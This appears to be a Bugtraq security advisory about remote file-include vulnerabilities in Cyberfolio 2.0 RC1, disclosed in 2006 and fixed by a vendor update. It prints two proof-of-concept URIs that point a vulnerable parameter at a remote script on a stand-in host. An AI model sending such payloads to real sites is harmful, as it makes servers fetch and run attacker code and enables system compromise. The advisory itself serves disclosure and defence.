Cyberfolio Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20928
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 06 2006 12:00AM
Updated:	Nov 07 2006 06:32PM
Credit:	Dedi Dwianto is credited with the discovery of these vulnerabilities.
Vulnerable:	Cyberfolio Cyberfolio 2.0 RC1
Not Vulnerable:

Cyberfolio Multiple Remote File Include Vulnerabilities

Cyberfolio is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Cyberfolio 2.0 RC1 and prior versions are affected by these issues.

Cyberfolio Multiple Remote File Include Vulnerabilities

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/cyberfolio/portfolio/msg/view.php?av=http://www.example2.com/inject.txt?
http://www.example.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://www.example2.com/inject.txt?

Cyberfolio Multiple Remote File Include Vulnerabilities

Solution:
The vendor has released an update to address this issue. Please see the references for more information.

Cyberfolio Multiple Remote File Include Vulnerabilities

References:

• Correction de sécurité Cyberfolio 2.0 rc1 (Pierre Lachance)
  
• Vendor Homepage (Cyberfolio)
  
• [ECHO_ADV_58_2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability ([email protected])